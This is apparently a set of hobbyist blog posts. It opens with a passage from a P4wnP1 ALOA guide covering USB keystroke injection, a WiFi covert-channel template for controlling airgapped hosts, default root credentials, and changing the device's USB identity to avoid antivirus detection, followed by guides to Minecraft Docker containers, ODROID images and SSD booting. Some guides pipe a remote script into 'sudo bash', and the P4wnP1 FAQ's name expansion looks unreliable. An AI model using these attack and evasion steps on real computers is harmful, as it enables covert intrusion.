mode means that if the Pi can’t find or connect to your network it will start listening as an access point again. This makes it very easy to connect to the web interface when you take the device outside your home as it will fail to connect and start listening. The SSID and pre-shared key to connect to the Pi wirelessly are along the right side of the screen. It comes prepopulated with a SSID of: 💥🖥💥 Ⓟ➃ⓌⓃ🅟❶ and a password of “MaMe82-P4wnP1”. You can actually completely configure the Pi without connecting it to the computer by just connecting to the SSID wirelessly. It is possible to get internet through the host computer the device is plugged in to but it requires additional configuration on the host PC (we’ll cover that later). In addition to the wireless tab you have the network settings and bluetooth settings tab. You can click around these on your own as they are pretty self explanatory, but I will mention that it is also possible to configure the device through the bluetooth connection. Depending on the type of scripts you want to run it may serve you better later to connect over WiFi or Bluetooth so it’s good to know it’s there. USB Settings Go to the USB settings tab next. This is where we can configure the behavior and identity of our device for when it is plugged into a host. On the left hand side of the screen you can configure all of the settings that control how the device identifies itself to the computer. You will want to change these because “P4wnP1 by MaMe82” is hilariously suspicious and likely already being detected by AV software. Pick some custom settings and make the device your own! On the right hand side of the screen we have the gadget mode configuration options. The top two options (CDC ECM and RNDIS) are network interfaces that the Pi uses to communicate to Windows/Linux/Mac. The middle options are related to HID. HID stands for Human Interface Device and appears to the computer as basically a mouse or keyboard. This is how P4wnP1 is able to send keystrokes and mouse movements to your computer. The computer thinks it is actually talking to a keyboard instead of our Pi. At the very bottom you have a “USB Mass Storage” option which can mount a CD-ROM iso or a emulate a small flash drive. HIDScript Now that we understand that the Pi is impersonating a mouse and keyboard let’s go to the HIDScript tab and start having some fun. This is where we can write and load scripts that tell the Pi what to make the host computer do. Press the “Run” button. A script will run that will open Notepad and tell you Hello from P4wnP1 and move the mouse around. Notice on the right side of the screen you can see the job running with a red X next to it. You can cancel jobs here by clicking the X. This also has a log of jobs that have been ran and whether they succeeded or failed. Now try running some of the other examples included with the alpha release. There’s a lot of different programs including a “game” that opens mspaint and has movement keys to move around with. There’s a lot in these examples to help you build a HIDScript to accomplish what youa re looking to ultimately do with the tool. Trigger Actions Trigger actions one of the key features of the reboot of this tool. HID scripts stem from the original Rubber Ducky tool that simply ran a script to deliver a payload when inserted into the computer. Although the payloads have got far more sophisticated over the years the way they work (and the limitations of it) really haven’t. They deliver a weaponized payload and that is it. With trigger actions you have a chance to respond to specific triggers with specific actions making it more like an application or framework. Let’s look at some of them below: P4wnP1 Trigger Actions Menu We can see a lot of very useful triggers such as “service started”, “USB gadget connected to host”, “SSH user login”, etc. The actions are very powerful. You can trigger a bash script, run a HID script to send a second/third/etc set of inputs, and even setting output on GPIO. With this model your Pi can actually have a conversation with the host. You have the chance to react differently to different situations that may arise during execution on different hosts. This is more like a dance than the previous payload delivery model. Accessing Kali Of course you still have all of Kali Linux available to you from the Pi Zero. The easiest way to access them is to SSH in. To connect with SSH simply connect to the same address that we used to access the web interface on port 22. ssh 172.16.0.1 Log in with the default credentials of root / toor and you will be on the command line of Kali. If you connected to the internet by connecting to your WiFi via the web interface you will also have internet access from the Pi and be able to update. I recommend doing a apt-get update && apt-get upgrade to get all the latest packages and fixes. The author says in the README that apt-get upgrade should not break anything related to P4wnP1 and I was able to do it successfully. You may also install the full Kali Linux suite by typing apt-get install kali-linux-full This will download all available packages for Kali Linux giving you a complete full installation on your Pi Zero! Templates P4wnP1 has a feature that wraps all necessary HIDScripts and settings together called templates. This makes it easy to switch between different configurations without having to go change all the options one by one. The example that ships with P4wnP1 ALOA alpha is the WiFi covert channel attack. This is basically a port from the original P4wnP1 script of the same name and function. The attack launches a PowerShell window on the host and transfers/launches a script payload that allows you to control the host by connecting to the P4wnP1’s WiFi. This very powerful attack actually allows you to remotely control “airgapped” computers that aren’t connected to a network since the Pi itself becomes a wireless access point. Deploying this attack is as easy as loading the template and pressing “Deploy”. Note that you cannot connect through ssh on USB while running this attack since the USB interface is busy communicating with the host. You need to connect to the WiFi specified in the P4wnP1 wireless settings tab and then you can reestablish your SSH session. Before you hit “Deploy” make sure that the HIDScript for this attack has the right language for your country. The default for this one is US but if you have a different keyboard layout change it to your country in the HIDScripts tab. After plugging in the “Deployed” state USB connect to the P4wnP1 WiFi access point and type the following to open the screen session that allows you to inject your keystrokes: screen -d -r wifi_c2 Make sure to check out the following folders for more goodies: P4wnP1 Bash scripts:/usr/local/P4wnP1/scriptP4wnP1 Legacy tools:/usr/local/P4wnP1/legacy Benchmarking / Testing Storage (Optional) If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion P4wnP1 ALOA is looking to evolve the tool’s capabilities past the previous version with trigger actions. It also aims to streamline the way these scripts are written in by moving code into pure Javascript rather than Ducky code. ALOA is much more similar to an application framework than a one-and-done payload. Indeed, the developer MaMe82 has this to say in his readme: P4wnP1 A.L.O.A. is not meant to: -be a “weaponized” tool -provide RTR payloads, which could be carried out by everybody, without understanding what’s going on or which risks are involved P4wnP1 A.L.O.A. is meant to: -be a flexible, low-cost, pocket sized platform -serve as enabler for tasks like the one described here -support prototyping, testing and carrying out all kinds of USB related tasks, commonly used during pentest or redteam engagements, without providing a finalized static solution -Mr. MaMe82 Some of these statements he makes here are a bit much. It’s not meant to be “weaponized” but it’s still called “P4wnP1″ and has the hilarious SSID title of”💥🖥💥 Ⓟ➃ⓌⓃ🅟❶ ” featuring emojis of a device exploding. Give us a break MaMe82! But I really like his final point he makes in the quote. This framework can be used to carry out all sorts of USB tasks in a way we haven’t seen before. It may not be too long before we start seeing USB drives capable of running many different actions based on triggers that are unique to each environment. There’s a lot more to know about P4wnP1 ALOA so make sure to visit the tool’s documentation located at: Official P4wnP1 Documentation Page The documentation is very lengthy but with this overview it shouldn’t be as overwhelming as the first time I went through it. Have fun! Other Resources If you have a Raspberry Pi Zero you may want to check out my Kali P4wnP1 Linux guide here If you have the 7″ official Raspberry Pi Touch Screen TFT display then check out my 7″ TFT for Kali guide What is the P4wnP1 Aloa and how does it work with Kali Linux?P4wnP1 (Pwn Plug + Pwn Tether) is a hardware platform for wireless and network attacks. It runs Kali Linux and automates payloads via a web interface for penetration testing and red team exercises.Can I use P4wnP1 Aloa for ethical hacking training?Absolutely. It’s designed for authorized security assessments, teaching Wi-Fi deauth detection, Evil Twin attacks, network pivoting, and USB HID attacks in isolated lab environments.How do I update P4wnP1 firmware and Kali tools?Use the official p4wnp1-aloa GitHub repository to flash updated SD images and run sudo apt update && sudo apt upgrade within the Kali environment to keep exploit tools current. #### Legendary Minecraft Bedrock Container Minecraft Bedrock Docker Edition I’ve been getting asked to put this together for years including in official GitHub issues. I always knew it would be a great idea but it turned out even better than I expected. This image works great on all platforms including Raspberry Pi! This is based off my Minecraft Bedrock Linux Dedicated Server scripts for Linux project. I’m going to release a version for the Java Minecraft edition as well so stay tuned for that. The official GitHub repository is located here. The official Docker Hub repository is located here. If you are looking for the Java version of the Docker container it is located here. This is for the Bedrock edition of Minecraft. You can also run my Geyser + Floodgate Java Minecraft Server container and Bedrock players will be able to connect to it! It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesUsageWith default ports:With custom ports:IPV4 only:Configuration / Accessing Server FilesVersion OverrideClean Environment VariableDisable Box64 (aarch64 only):TZ (timezone) Environment VariableNoPermCheck Environment VariableTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VAdditional Support Features Sets up the official Minecraft Bedrock Server (currently in alpha testing) Fully operational Minecraft Bedrock edition server in a couple of minutes Adds logging with timestamps to “logs” directory Multiarch Support – all Docker platforms supported including Raspberry Pi Automatic backups when container/server restarts Supports multiple instances — you can run multiple Bedrock servers on the same system Updates automatically to the latest or user-defined version when server is started Files stored in named Docker volume allowing for extremely easy access/editing and leveraging more advanced Docker features such as automatic volume backups *NEW* – Box64 support added for improved speeds on aarch64 (ARM 64 bit) Usage First you must create a named Docker volume. This can be done with: docker volume create yourvolumename Now you may launch the server and open the ports necessary with one of the following Docker launch commands. With default ports: docker run -it -v yourvolumename:/minecraft -p 19132:19132/udp -p 19132:19132 -p 19133:19133/udp -p 19133:19133 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest With custom ports: docker run -it -v yourvolumename:/minecraft -p 12345:12345/udp -p 12345:12345 -p 12346:12346/udp -p 12346:12346 -e PortIPV4=12345 -e PortIPV6=12346 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest IPV4 only: docker run -it -v yourvolumename:/minecraft -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest Configuration / Accessing Server Files The server data is stored where Docker stores your volumes. This is typically a folder on the host OS that is shared and mounted with the container. I’ll give the usual locations here but if you’re having trouble just do some Googling for your exact platform and you should find where Docker is storing the volume files. You can find your exact path by typing: docker volume inspect yourvolumename This will give you the fully qualified path to your volume like this: { "CreatedAt": "2022-05-09T21:08:34-06:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/yourvolumename/_data", "Name": "yourvolumename", "Options": {}, "Scope": "local" } On Linux it’s typically available at: /var/lib/docker/volumes/yourvolumename/_data On Windows it’s at C:\ProgramData\DockerDesktop but may be located at something more like \wsl$\docker-desktop-data\version-pack-data\community\docker\volumes\ if you are using WSL (Windows Subsystem for Linux). On Mac it’s typically ~/Library/Containers/com.docker.docker/Data/vms/0/ If you are using Docker Desktop on Mac then you need to access the Docker VM with the following command first: screen ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/tty You can then normally access the Docker volumes using the path you found in the first step with docker volume inspect Most people will want to edit server.properties. You can make the changes to the file and then restart the container to make them effective. Backups are stored in the “backups” folder Log files with timestamps are stored in the “logs” folder. Version Override In some scenarios you may want to run a specific version of the Bedrock server. That is now possible by using the “Version” environment variable: -e Version=1.18.33.02 For example: docker run -it -v yourvolumename:/minecraft -e Version=1.18.33.02 -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest This is useful if Microsoft hasn’t released versions of the client and dedicated server at the same time so you can match whichever version your players can connect with. Clean Environment Variable If the server is having trouble starting you can clean the downloads folder and force reinstallation of the latest version like this: docker run -it -v yourvolumename:/minecraft -e Clean=Y -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest This is useful if a download corrupted or something modified your container contents as it will clear everything out and reinstall the latest Bedrock server fresh. Disable Box64 (aarch64 only): If you are having trouble running the dedicated server with Box64 support you can tell it to use QEMU instead with: -e UseQEMU=Y For example: docker run -it -v yourvolumename:/minecraft -e UseQEMU=Y -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest TZ (timezone) Environment Variable You can change the timezone from the default “America/Denver” to own timezone using this environment variable: docker run -it -v yourvolumename:/minecraft -e TZ="America/Denver" -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest A list of Linux timezones is available here. NoPermCheck Environment Variable You can skip the permissions check (can be slow on very large servers) with the NoPermCheck environment variable: docker run -it -v yourvolumename:/minecraft -e NoPermCheck="Y" -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-bedrock-container:latest Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. The fix for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. There is a second fix that was shared by bpsimons here. For that fix you need to install ethtool first with sudo apt install ethtool. Next in your /etc/network/interfaces file add “offload-tx off” to the bottom as the issue appears to be with TX offloading. Here’s an example: # The primary network interface auto eth0 iface eth0 inet static address 192.168.1.5 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 offload-tx off This can also be done non-persistently with the following ethtool command: ethtool -K eth0 tx off Additional Support The comments section right here is the best place for support. The second best place is the GitHub issues section. I will add additional documentation based on what problems people are running into / questions people are asking because right now I’m not really sure what those will be yet. Definitely let me know if you need any of these things! #### Legendary ODROID M1 Ubuntu 22.04.1 Images Legendary ODROID M1 Images Recently I reviewed the ODROID M1 and it’s a fantastic board. One problem with it though is that the image available for it is still only Ubuntu 20.04. It’s possible to upgrade the server version to 22.04 and then install Ubuntu Desktop which I covered in my review. It’s painful though and takes a very long time especially if you want to install a desktop environment afterward. I figured by now the updated image would be out and it still isn’t so today I’m releasing my Legendary ODROID M1 Ubuntu 22.04.1 images as well as the system I used to build the images! Table of Contents Toggle Hardware UsedOverviewFlavors AvailableKnown IssuesImage InstructionsFirst Startup InstructionsSet correct timezone:Set correct locale:Get web browser (desktop only)Build InstructionsGetting SupportOther Resources Hardware Used ODROID M1 4GB This is the 4 GB version of the ODROID M1. Includes a full size (2280) M.2 slot (PCIe 3.0 2 lanes), a Neural Processing Unit (NPU) and contains a RK3568B2 SOC. There is a slot for eMMC cards on the board as well and these perform very well. Links: Amazon.com*, AliExpress.com* ODROID M1 8GB This is the 8 GB version of the ODROID M1. Includes a full size (2280) M.2 slot (PCIe 3.0 2 lanes), a Neural Processing Unit (NPU) and contains a RK3568B2 SOC. There is a slot for eMMC cards on the board as well and these perform very well. Links: Amazon.com*, AliExpress.com* Overview These images are upgraded to 22.04.1 and use the latest kernel from the ODROID repositories (6.0.x at time of writing). I have included convenience scripts in the home folder to enable and disable the NPU. This will work in all flavors (including server). This is not using a mainline kernel. It is using the official ODROID 6.0.x kernel packages from their PPA repository. It looks like to me they’re getting really close to finishing support so they aren’t quite finished but if you aren’t using the NPU it’s finished enough. Since it’s using official packages these will update with apt over time so there’s a good chance the NPU may fix itself when they add a compatible rknpu overlay to the kernel package. The GitHub repository is available here Images ready to be downloaded are available here Flavors Available The script is currently building 6 different flavors: Ubuntu 22.04.1 Server Ubuntu 22.04.1 MATE Desktop (ubuntu-mate-desktop) Ubuntu 22.04.1 Desktop (ubuntu-desktop) Xubuntu 22.04.1 Desktop (xubuntu-desktop) Kubuntu 22.04.1 Desktop (kubuntu-desktop) Lubuntu 22.04.1 Desktop (lubuntu-desktop) Known Issues The NPU overlay (rknpu) is not present in the 6.0.x branch yet Image Instructions The images are in .tar.xz format and should not be written to disk until you decompressed them with: tar -xf *.tar.xz. That will give you a .img file that will boot successfully. If you are using Windows you can decompress these files with 7zip or WinRAR. First Startup Instructions Note that the first startup is slow. This is due to resizing your root filesystem to fit your drive. After the first startup it will boot much faster but it may take several minutes on a black screen with only a few lines of text on it during the first startup. Be patient. If you see a few lines of text then it is resizing your root filesystem. You may also see CRC checksum errors during your first startup. These are safe to ignore as it will run fsck on the drive the first startup. When you reboot the device these will be gone. Set correct timezone: sudo dpkg-reconfigure tzdata Set correct locale: sudo apt install locales -y && sudo dpkg-reconfigure locales Get web browser (desktop only) sudo snap install firefox sudo snap install chromium Build Instructions If you would like to build the image yourself it is pretty straightforward with the included script. You will need a few dependencies such as: sudo apt install build-essential guestfs-tools kpartx Now run the build script with sudo ./BuildImage.sh. It will retrieve the base image from ODROID’s servers and update it. It definitely takes a long time to build the images even with a very powerful computer but if you just let it run in the background and do it’s thing it should complete and spit out the images for you. Getting Support If you need help with something specific to my image then this is the best place for support right here in the comment section. Let me know if there are packages missing that need to be present or any other issues going on and I will get them added in updated versions! Other Resources This image was created due to investigating comments on my ODROID M1 Review I’ve also covered SSD booting with the ODROID N2+ here If you like retro gaming you’ll really like the ODROID Go Super handheld gaming console I have also created a fixed image for the Orange Pi i96 which is an older board that can be found for around $7-$15 (for now) #### Legendary Paper Minecraft Java Container Minecraft Docker Paper Minecraft Server This is a containerized version of my Paper Minecraft Java server. The image works great on all Docker platforms including Raspberry Pi! There is also a version that has Geyser + Floodgate installed which will let Minecraft Bedrock players connect to your Java server! The official GitHub repository is located here. The official Docker Hub repository is located here. The Minecraft Bedrock version of the container is located here. This is for the Java version. It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesUsageConfiguration / Accessing Server FilesPlugin Support for Paper / Spigot / BukkitTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VAdditional Support Features Sets up fully operational Minecraft server in less than a couple of minutes Runs the highly efficient “Paper” Minecraft server Plugin support for Paper / Spigot / Bukkit Uses named Docker volume for safe and easy to access storage of server data files (which enables more advanced Docker features such as automatic volume backups) Installs and configures OpenJDK 18 Automatic backups to minecraft/backups when server restarts Full logging available in minecraft/logs folder Updates automatically to the latest version when server is started Runs on all Docker platforms including Raspberry Pi Usage First you must create a named Docker volume. This can be done with: docker volume create yourvolumename Now you may launch the server and open the ports necessary with one of the following Docker launch commands. With default port: docker run -it -v yourvolumename:/minecraft -p 25565:25565 --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest With custom port: docker run -it -v yourvolumename:/minecraft -p 12345:12345 -e Port=12345 --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest With a custom Minecraft version (add -e Version=1.X.X, must be present on Paper’s API servers to work): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -e Version=1.17.1 --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest With a maximum memory limit in megabytes (optional, prevents crashes on platforms with limited memory, -e MaxMemory=2048): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -e MaxMemory=2048 --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest Using a different timezone: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -e TZ="America/Denver" --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest Skipping backups on a certain folder: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -e NoBackup="plugins" --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest Skipping permissions check: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -e NoPermCheck="Y" --restart unless-stopped 05jchambers/legendary-java-minecraft-paper:latest Configuration / Accessing Server Files The server data is stored where Docker stores your volumes. This is typically a folder on the host OS that is shared and mounted with the container. I’ll give the usual locations here but if you’re having trouble just do some Googling for your exact platform and you should find where Docker is storing the volume files. You can find your exact path by typing: docker volume inspect yourvolumename This will give you the fully qualified path to your volume like this: { "CreatedAt": "2022-05-09T21:08:34-06:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/yourvolumename/_data", "Name": "yourvolumename", "Options": {}, "Scope": "local" } On Linux it’s typically available at: /var/lib/docker/volumes/yourvolumename/_data On Windows it’s at C:\ProgramData\DockerDesktop but may be located at something more like \wsl$\docker-desktop-data\version-pack-data\community\docker\volumes\ if you are using WSL (Windows Subsystem for Linux). On Mac it’s typically ~/Library/Containers/com.docker.docker/Data/vms/0/ If you are using Docker Desktop on Mac then you need to access the Docker VM with the following command first: screen ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/tty You can then normally access the Docker volumes using the path you found in the first step with docker volume inspect Most people will want to edit server.properties. You can make the changes to the file and then restart the container to make them effective. Backups are stored in the “backups” folder Log files with timestamps are stored in the “logs” folder. Plugin Support for Paper / Spigot / Bukkit This is a “Paper” Minecraft server which has plugin compatibility with Paper / Spigot / Bukkit. Installation is simple. There is a “plugins” folder on your Docker named volume. Navigate to your server files on your host operating system (see accessing server files section if you don’t know where this is) and you will see the “plugins” folder. You just need to drop the extracted version of the plugin (a .jar file) into this folder and restart the container. That’s it! Some plugins have dependencies so make sure you read the installation guide first for the plugin you are looking at. A popular place to get plugins is: dev.bukkit.org Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. The easy workaround for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. There is a second fix that was shared by bpsimons here. For that fix you need to install ethtool first with sudo apt install ethtool. Next in your /etc/network/interfaces file add “offload-tx off” to the bottom as the issue appears to be with TX offloading. Here’s an example: # The primary network interface auto eth0 iface eth0 inet static address 192.168.1.5 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 offload-tx off This can also be done non-persistently with the following ethtool command: ethtool -K eth0 tx off Additional Support The comments section right here is the best place for support. The second best place is the GitHub issues section. I will add additional documentation based on what problems people are running into / questions people are asking because right now I’m not really sure what those will be yet. Definitely let me know if you need any of these things! #### Libre “Le Potato” SSD Boot Guide Libre “Le Potato” SSD Boot Guide The “Le Potato” by Libre Computers is a $40 single board computer. That is incredibly cheap in 2022 as anyone who has tried to buy a Raspberry Pi recently can tell you. There aren’t a lot of guides out there for how to best utilize it though so today I’d like to publish a guide for it for one of the best upgrades you can do with any SBC: upgrade to SSD storage! This method requires a sacrificial SD card to serve as the bootloader. After booting though it will use your SSD for the system’s root filesystem. We will then benchmark it to measure the improvement/gains. Let’s begin! Table of Contents Toggle Hardware UsedPreparing SD CardPreparing SSDCloning Installation to SSDChange SD card’s UUIDRun fsckReboot and VerifyTesting PerformanceSD Card TestSSD TestConclusionOther Resources Hardware Used Libre Computers “Le Potato” The “Le Potato” from Libre Computers is meant to be a fully open sourced alternative to the Raspberry Pi. It can run a huge number of flavors and has up to date images available for them. Contains a Quad-Core ARM Cortex A53 CPU as well as a Mali-450 GPU as well as 2GB of RAM. Make sure you click the $5 off coupon from Amazon! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* “Le Potato” Heatsink This is a heatsink for the Le Potato that will cover both the CPU and the RAM chips. Looks very nice as well! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* StarTech 2.5″ SATA Adapter The StarTech USB 3.1 to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry Pi, Orange Pi, ODROID, Libre “Renegade” and Tinker Board. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Sabrent Powered USB Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Preparing SD Card First you should have a completely working installation on a SD card of the OS that you would like to use. I used Armbian for this guide (recommended) so if your partitions are different it may be your flavor of Linux and need slightly altered instructions. If you have an already working installation you want to move to your SSD you can use this as well most likely. You should completely update first with: sudo apt update && sudo apt full-upgrade If you are using a different package manager then update the image however you need to for your distribution. Preparing SSD Now we are going to connect your SSD to the “Le Potato”. First we are going to completely remove all partitions from the drive so it’s completely blank. If you only have one drive plugged into the “Le Potato” (and nothing else) this should be /dev/sda. sudo fdisk /dev/sda Now remove all partitions from the device. If you press “p” it will print out the partitions. Here’s an example on mine: james@lepotato:~ $ sudo fdisk /dev/sda Welcome to fdisk (util-linux 2.36.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk /dev/sda: 232.89 GiB, 250059350016 bytes, 488397168 sectors Disk model: CT250MX200SSD1 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: dos Disk identifier: 0x3cedfd53 Device Boot Start End Sectors Size Id Type /dev/sda1 2048 264191 262144 128M c W95 FAT32 (LBA) /dev/sda2 264192 62550016 62285825 29.7G 83 Linux Command (m for help): d Partition number (1,2, default 2): 1 Partition 1 has been deleted. Command (m for help): d Selected partition 2 Partition 2 has been deleted. Command (m for help): w The partition table has been altered. Failed to remove partition 1 from system: Device or resource busy Failed to remove partition 2 from system: Device or resource busy The kernel still uses the old partitions. The new table will be used at the next reboot. Syncing disks. Even though I got the device was busy error after unplugging and replugging the SSD the partition table was clear. Once the drive is all cleared off you’re ready for the next step. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. If you don’t have the eMMC attached your current root filesystem should be /dev/mmcblk0p1 (or /dev/mmcblk1p1 on some operating systems, check ls /dev or blkid). We can now copy your drive to the SSD with the following command: cat /dev/mmcblk0 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). It may take several minutes or longer. You are copying an entire drive from one to another basically with that one command. Mine took almost 40 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s UUID Now unplug the SSD and plug it back in. We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk0p1 We can verify that it has changed with blkid like this: james@lepotato:~$ sudo blkid /dev/mmcblk0p1: LABEL="armbian_root" UUID="8bd51dc9-54c1-4f39-a149-459c638c9521" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="39524a4b-01" /dev/sda1: LABEL="armbian_root" UUID="8ed60109-91ba-4708-b67f-1ae2da76894c" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="39524a4b-01" /dev/zram0: UUID="40c660fe-280b-47d4-8d05-927fc39358b8" TYPE="swap" /dev/zram1: LABEL="log2ram" UUID="25cbe7ff-d7da-4151-8344-f2167bbd4f8c" BLOCK_SIZE="4096" TYPE="ext4" Notice that /dev/sda1 and /dev/mmcblk0p1 no longer have matching UUIDs. This is exactly what we want. Run fsck Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda1 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the “Le Potato” with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: james@lepotato:~$ mount /dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/sda1 on /var/log.hdd type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/zram1 on /var/log type ext4 (rw,relatime,discard) Here we can see that our root partition (/) is indeed on /dev/sda1 and not /dev/mmcblk0p1. Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash SD Card Test To show the improvement between having a SD card rootfs and having a SSD rootfs I did a before test here with the SD card: Category Test Result HDParm Disk Read 21.54 MB/s HDParm Cached Disk Read 21.83 MB/s DD Disk Write 16.3 MB/s FIO 4k random read 1804 IOPS (7219 KB/s) FIO 4k random write 925 IOPS (3700 KB/s) IOZone 4k read 6720 KB/s IOZone 4k write 2031 KB/s IOZone 4k random read 5617 KB/s IOZone 4k random write 2956 KB/s Score: 939 SSD Test Category Test Result HDParm Disk Read 33.95 MB/s HDParm Cached Disk Read 33.44 MB/s DD Disk Write 33.6 MB/s FIO 4k random read 6462 IOPS (25850 KB/s) FIO 4k random write 6148 IOPS (24593 KB/s) IOZone 4k read 12903 KB/s IOZone 4k write 13287 KB/s IOZone 4k random read 11344 KB/s IOZone 4k random write 15181 KB/s Score: 3,451 You may view the full benchmark on Pi Benchmarks for this guide here. Wow, that’s quite a dramatic improvement. We went from 939 to 3,451. That’s about a 3.5x performance increase! You can also look at the raw IOPS and MB/s numbers on HDParm and the various test categories if you are more familiar with those to see the improvement. Conclusion Even though we are limited to USB 2.0 bus speeds we can still achieve about 3.5x the performance of the SD card using a SSD with a USB to 2.5″ SATA adapter. This is definitely worthwhile as it was on boards like the Raspberry Pi 3 that had USB 2.0 as well. I haven’t tested the eMMC modules for the “Le Potato” yet because they are currently out of stock on Amazon. Because of the USB 2.0 bus there’s a chance that eMMC modules might perform faster than an SSD. The SSD performance is substantially higher than SD cards though for sure as we’ve determined through our benchmarking! Other Resources If you are moving from a Raspberry Pi to a “Le Potato” see my Raspbian Portability Tool for Libre Boards Guide Don’t miss my review of the Libre Computers “Renegade” board which is $10 more than the “Le Potato” and gives you a USB 3.0 port You may be interested to see my Libre Computers “Le Potato” Review Make sure to check out my ODROID XU4Q review which includes eMMC tests and benchmarking For an awesome retro gaming handheld console check out the ODROID Go Super #### Libre “Renegade” SSD Booting Guide Libre Computers “Renegade” SSD Boot Guide The ROC-RK3328-CC Firefly “Renegade” by Libre Computers is a $50 single board computer. You actually get USB 3.0 with the “Renegade” which is going to make it even more worth it to use a SSD with than the “Le Potato”. This method requires a sacrificial SD card to 